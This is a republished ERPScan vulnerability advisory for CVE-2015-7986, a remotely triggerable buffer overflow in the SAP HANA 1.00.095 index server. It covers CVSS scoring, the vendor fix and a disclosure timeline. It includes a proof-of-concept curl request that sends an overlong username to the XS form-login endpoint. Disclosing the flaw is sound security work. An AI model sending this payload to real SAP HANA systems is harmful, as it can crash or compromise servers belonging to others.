SAP HANA hdbindexserver Memory Corruption
Posted on 28 January 2016
[ERPSCAN-15-024] SAP HANA hdbindexserver - Memory corruption Application: SAP HANA Versions Affected: SAP HANA 1.00.095 Vendor URL: http://SAP.com Bugs: Memory corruption, RCE Reported: 17.07.2015 Vendor response: 18.07.2015 Date of Public Advisory: 13.10.2015 Reference: SAP Security Note 2197428 Author: Mathieu Geli (ERPScan) Description 1. ADVISORY INFORMATION Title: SAP HANA 1.00.095 Advisory ID: [ERPSCAN-15-024] Risk: Hight Advisory URL: http://erpscan.com/advisories/erpscan-15-024-sap-hana-hdbindexserver-memory-corruption/ Date published: 13.10.2015 Vendors contacted: SAP 2. VULNERABILITY INFORMATION Class: Memory corruption, RCE Impact: full system compromise Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2015-7986 CVSS Information CVSS Base Score: 9.3 / 10 CVSS Base Vector: AV : Access Vector (Related exploit range) Network (N) AC : Access Complexity (Required attack complexity) Medium (M) Au : Authentication (Level of authentication needed to exploit) None (N) C : Impact to Confidentiality Complete (C) I : Impact to Integrity Complete (C) A : Impact to Availability Complete (C) 3. VULNERABILITY DESCRIPTION A buffer overflow vulnerability exists in SAP HANA interface. If an attacker has a network access to the SQL interface or the SAP HANA Extended Application Services interface of an SAP HANA system, the vulnerability enables the attacker to inject code into the working memory that is subsequently executed by the application. It can also be used to cause a general fault in the product causing the product to terminate. Proof of concept This authentication request should be replayed 10 times. curl -v -XPOST http://hana:8000/sap/hana/xs/formLogin/login.xscfunc -H 'Content-type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-csrf-token: unsafe' -d 'xs-username=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' 4. VULNERABLE PACKAGES SAP HANA 1.00.095.00 Other versions are probably affected too, but they were not checked. 5. SOLUTIONS AND WORKAROUNDS To correct this vulnerability, install SAP Security Note 2197428 6. AUTHOR Mathieu Geli (ERPScan) 7. TECHNICAL DESCRIPTION An anonymous attacker can use a special HTTP request to corrupt SAP HANA index server memory. 8. REPORT TIMELINE Send: 17.07.2015 Reported: 17.07.2015 Vendor response: 18.07.2015 Date of Public Advisory: 13.10.2015 9. REFERENCES http://erpscan.com/advisories/erpscan-15-024-sap-hana-hdbindexserver-memory-corruption/ 10. ABOUT ERPScan Research The company’s expertise is based on the research subdivision of ERPScan, which is engaged in vulnerability research and analysis of critical enterprise applications. It has achieved multiple acknowledgments from the largest software vendors like SAP, Oracle, Microsoft, IBM, VMware, HP for discovering more than 400 vulnerabilities in their solutions (200 of them just in SAP!). ERPScan researchers are proud to have exposed new types of vulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be nominated for the best server-side vulnerability at BlackHat 2013. ERPScan experts have been invited to speak, present, and train at 60+ prime international security conferences in 25+ countries across the continents. These include BlackHat, RSA, HITB, and private SAP trainings in several Fortune 2000 companies. ERPScan researchers lead the project EAS-SEC, which is focused on enterprise application security research and awareness. They have published 3 exhaustive annual award-winning surveys about SAP security. ERPScan experts have been interviewed by leading media resources and featured in specialized info-sec publications worldwide. These include Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise, and Chinabyte, to name a few. We have highly qualified experts in staff with experience in many different fields of security, from web applications and mobile/embedded to reverse engineering and ICS/SCADA systems, accumulating their experience to conduct the best SAP security research. 11. ABOUT ERPScan ERPScan is the most respected and credible Business Application Security provider. Founded in 2010, the company operates globally and enables large Oil and Gas, Financial and Retail organizations to secure their mission-critical processes. Named as an ‘Emerging Vendor’ in Security by CRN, listed among “TOP 100 SAP Solution providers” and distinguished by 30+ other awards, ERPScan is the leading SAP SE partner in discovering and resolving security vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to assist in improving the security of their latest solutions. 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